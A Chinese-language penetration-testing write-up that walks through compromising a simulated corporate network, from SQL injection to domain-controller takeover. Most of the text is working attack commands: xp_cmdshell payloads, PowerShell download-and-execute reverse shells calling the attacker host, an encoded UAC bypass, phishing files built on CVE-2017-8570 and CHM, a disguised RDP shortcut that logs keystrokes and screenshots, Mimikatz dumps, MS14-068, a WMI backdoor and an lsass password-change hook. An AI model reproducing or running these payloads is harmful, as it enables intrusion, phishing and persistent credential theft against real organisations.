作者:niexinming@n0tr00t security team

0x01 前滲透

內網拓撲說明:

  1. 10.101.101.0/24 網段模擬的是外網的地址
  2. 192.168.101.0/24 網段模擬的是一個小型企業的內網中的應用服務器網絡
  3. 192.168.111.0/24 網段模擬的是一個小型企業的內網中的辦公網絡
  4. 企業內網可以無限制的訪問到外網,但是外網無法訪問到企業內網
  5. 辦公網可以無限制的訪問到應用服務器網絡,但是應用服務器網絡無法訪問到辦公網絡
  6. 部分服務器打了全部的補丁,并且保持正常更新

內網拓撲圖:

掃描 10.101.101.13 后發現此服務器開放 80、82 端口, Win2008 系統,80 端口處發現 SQL 注入,獲取數據庫和數據庫所在服務器版本:

http://10.101.101.13/?page=1 and @@version>0 --

數據庫是 2008r2 的,所在的操作系統是 Win2008 或 Win7,隨后看數據庫:

http://10.101.101.13/?page=1;if IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5' --

這個語句測試數據庫的權限,發現有延時,證明是有數據庫的權限是dba的權限,打開 xp_cmdshell 的限制,創建臨時表執行命令并將結果寫入新創建的臨時表中:

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;


http://10.101.101.13/?page=1;create table temp(id int identity(1,1),a varchar(8000));--


http://10.101.101.13/?page=1;insert into temp exec master.dbo.xp_cmdshell 'ipconfig /all';--

讀取結果:

http://10.101.101.13/?page=1 and (select substring((select a from temp for xml auto),1,4000))>0--

看上去這個網站是站庫分離的網站,用這種方法執行 ping 10.101.101.16 ,發現數據庫服務器可以通外網,獲取這些信息之后,我 drop table temp 刪除創建的臨時表。在獲取到這么多信息了之后,在自己機子上開一個 Web 站點下載 nishang 的 powershell 的反彈腳本到自己的 Web 服務器上:https://github.com/samratashok/nishang

nv -lvvp 8888 監聽等待反彈,然后執行:

http://10.101.101.13/?page=1;exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.13/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';--

但是數據庫權限病不高,現在我將用 Powershell 遠程加載并執行exe的腳本執行 ms15-051 ,Ps 腳本地址:https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 ,執行:

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA

可以看到提權沒有成功,并且換一個 Exploit 也沒成功:

繼續使用 msf 探測,開啟 msf 監聽功能:

執行,從數據庫主機上反彈一個 meterpreter 連接:

http://10.101.101.13/?page=1;exec master..xp_cmdshell('IEX(New-Object Net.WebClient).DownloadString("http://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1")
Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force')

隨后用 use auxiliary/scanner/smb/smb_version掃描 smb 獲取內網信息,發現 mail 服務器,然后用 use auxiliary/scanner/portscan掃描端口,發現開放 80 25 110 端口:

使用 use auxiliary/server/socks4a 代理進內網后在 82 斷口處發現了驚喜:

通過弱口令輕松進入到后臺,發現一個可以生成靜態站的地方:

把自定義靜態頁面存儲主路徑改成 1.asp ,然后編輯一篇文章把木馬代碼放進去,重新生成靜態頁面 GetShell :

這個服務器的 82 不能執行cmd,不支持aspx,不能跨目錄到umail,但是在一個奇怪的地方發現一個一份企業通訊錄,下載下來看到管理員郵箱:

于是想到用偽造郵件的方法來釣管理員,參考兩篇文章:

第一種方法:首先用 CVE-2017-8570 Explot 做一個釣魚用的 ppsx ,由于原來的 exp 要用 Poershell 下載 shell.exe 再執行,這樣容易被殺軟發現,并且原來的 exp 執行反彈回來的 shell 權限不夠,所以要考慮繞過 UAC ,讓管理員點擊惡意的 ppsx 后靜默反彈一個高權限的shell ,如果用 nishang 給的 Invoke-PsUACme.ps1 ,執行之后會有一個一閃而過的黑框框,很讓人感到懷疑,去掉這個一閃而過的黑框框很簡單,因為我用 oobe 的方法在 Win7 上繞過 UAC ,所以我在這里只介紹在這種條件下去掉黑框框的方法,首先去掉 Invoke-PsUACme.ps1 第206行的 & $execpath 代碼,之后在調用 Invoke-PsUACme 的時候 -payload 參數寫上你要執行的命令,最后用 rundll32.exe 靜默啟動 C:/Windows/System32/oobe/setupsqm.exe

IEX(New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1")

換掉原來 exp 里面的 Powershell 調用語句,其中 uacchm.ps1 的內容是:

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1')
Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=='
Start-Process -FilePath rundll32.exe -ArgumentList 'javascript:"\..\mshtml,RunHTMLApplication ";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();'

而其中enc后面的數據是經過下面的代碼編碼而成:

$command = "IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand

編碼的內容:

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')

chm.ps1:

IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force

改好的 exp https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py ,用法是:先生成一個惡意的ppsx

python cve-2017-8570_toolkit.py -M gen -w car.ppsx -u http://10.101.101.16:82/logo.doc

在 82 端口開啟服務:

python cve-2017-8570_toolkit.py -p 82 -M exp -e 10.101.101.16

Ps: 好多時候這個漏洞復現不成功,可以將查看 文件 -> 選項,點擊 信任中心設置,去掉設置中的所有勾取選項即可:

第二種方法比較簡單,用 easy chm 做一個惡意的 chm :

其中我做的 test.html 我放在了 https://github.com/niexinming/safe_tool/blob/master/test.html Ps: 由于PARAM的value的長度似乎有某種限制,所以我把

IEX (New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1")

base64 編碼之后放入 PARAM 的 value 中 :

兩個惡意的文件都制作好后用 swaks 偽造郵件把這兩個文檔發送出去:

現在靜靜等待管理員點擊我們的惡意文件,啟動msf的 exploit/multi/handler 模塊時候用 exploit -j 就可以讓 msf 在后臺等待管理員上鉤了。

0x02 后滲透

當我們發現一個管理員中了我們的木馬:

由于 bypass 了 uac ,所以返回的是管理員的 shell ,我們可以用 mimikatz 來把密碼脫出來看看:

由于管理員的機子不屬于任何域,也不是域賬號登陸,所以我需要獲取他的在遠程登陸其他機子的時候的用戶名和密碼,根據這篇文件的介紹,我希望替換遠程桌面的快捷方式來監視管理員的行為,思路是:

  • (1)正常啟動c:\windows\system32\mstsc.exe,避免管理員懷疑
  • (2)由于原來的exp一啟動就會有個黑框框一閃而過,要用rundll32的方式來消除黑框框,讓惡意代碼靜態啟動
  • (3)參數部分要先加260個空格字符后面接著為payload代碼,這樣減小管理員查看屬性的時候看到payload而產生懷疑
  • (4)參考http://wooyun.jozxing.cc/static/drops/tips-13125.html這個文章靜默啟動一個桌面步驟記錄程序
  • (5)利用PowerSploit的Get-Keystrokes.ps1的腳本來記錄鍵盤記錄
  • (6)記錄一分鐘后把記錄的文件隱藏起來
  • (7)啟動metasploit的反彈連接
  • (8)修改圖標(關于C:\Windows\system32\SHELL32.dll的圖標id,有個網站給的很全面,http://help4windows.com/windows_7_shell32_dll.shtml,可以修改傳遞給圖標id來修改圖標)

我把修改好的代碼放在 https://github.com/niexinming/safe_tool/blob/master/link.ps1 ,遠程加載的惡意的 PowerShell 代碼放在了 https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1,生成好惡意的快捷方式之后只要修改 rlnk.ps1 就可以做你想做的事情了。

使用方法:

看著已經生成好了,看一下效果:

看著比較正常,用起來也很正常,沒有卡頓,沒有一閃而過的黑框,如果管理員用到遠程登陸快捷方式去遠程登陸服務器的話,在 c:\windows\temp 目錄下會生成 log.dll ,這個里面記錄的是鍵盤記錄,cap.zip記錄的是關鍵步驟截屏:

等管理員啟動的惡意的遠程登陸快捷方式之前,可以用管理員的密碼在應用服務器網段內用 use auxiliary/scanner/smb/smb_login 碰碰運氣(看起來運氣并不怎么樣。。。):

等了幾天后,我們發現在這個目錄下終于有東西了,下載之后看到鍵盤記錄:

屏幕截圖記錄:

我們現在獲得了一個普通域賬號的賬戶名和密碼,下面試試 MS14-068 能不能成功,參考:http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note#/ ,用 proxychain 執行:

goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com

NICE!!!

Ps: 攻擊的時候如果dns在內網要記得hosts的地址綁定。

用得到的 shell 反彈一個 PoweShell 出來到本地8888端口,如果你用下面的語句反彈的話將得到是一個32位的 PowerShell :

powershell IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888

這個時候如果你運行:

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

系統會報錯,原因是你不能在32位的 Shell 中運行64位的程程序,這里涉及到一個64位系統文件重定向的問題,參考:http://www.cnblogs.com/lhglihuagang/p/3930874.html,所以正確的做法是使用下面的代碼來反彈一個64位的 PowerShell :

C://Windows//SysNative/WindowsPowerShell//v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888

再次運行:

IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

成功得到域控管理員的密碼,下面我們要在域控上面安裝一個隱蔽的后門,參考:

  • http://www.moonsec.com/post-621.html
  • https://www.secpulse.com/archives/39555.html
  • http://wooyun.jozxing.cc/static/drops/tips-15575.html

這里利用三好學生的方法制作一個 wmi 的后門,首先在自己的 Web 目錄下寫一個 mof.ps1 ,這個文件作用是用利用 wmi 的定時器的功能讓系統每分鐘執行一次我們的 payload,這個 mof.ps1 我放在 https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1 ,我還寫了一個可以劫持進程的 Powershell 腳本,放在 https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1 ,這里我的 Payload 用一個反彈 meterpreter 連接的腳本,mof.txt:

<?xml version="1.0"?>

<package>
<component id="testCalc">

<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); 
]]>
</script>

</component>
</package>

enc編碼前的內容依然是:

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')

執行之后,每分鐘會反彈一個meterpreter的shell,而且重啟后依然會反彈:

Ps: 這個wmi的后門我在Win10上實驗的時候不能執行 Payload ,如果觸發到后門的觸發條件的話, Win10 會彈出 openwith.exe 這個進程,界面上看就是這個:

查了兩天資料也沒有找到一個正經的解決方法,但是后來把 openwith.exe 換成 cmd.exe 就可以執行 Payload 了,因為 win7 和 win2008 沒有 openwith ,所以沒有遇到什么阻力就直接執行Payload,但是 Win10 和 Win8 在正常情況下就會打開 openwith ,這個后門的清理方式可以參考:https://www.52pojie.cn/thread-607115-1-1.html

最后,我還想放置一個后們,在域控管理員改密碼的時候記錄他的新密碼[參考],注意他的腳本里面有一個選項可以從你的 Web 服務器加載一個dll到對方主機內存里面,這樣你把你的dll生成好之后就可以放在你的 Web 服務器下面,在這個ps1最下面加入:

Invoke-ReflectivePEInjection -PEUrl http://10.101.101.16/HookPasswordChange.dll –procname lsass

然后你把這個腳本的調用加入到chm.ps1里面,下面是改動之后chm.ps1里面的內容:

IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/HookPasswordChangeNotify.ps1")
IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps1"); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force

這樣一方面我們可以反彈一個 meterpreter ,另一方面還可以在域管理員改密碼的時候記錄他的新密碼:


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/381/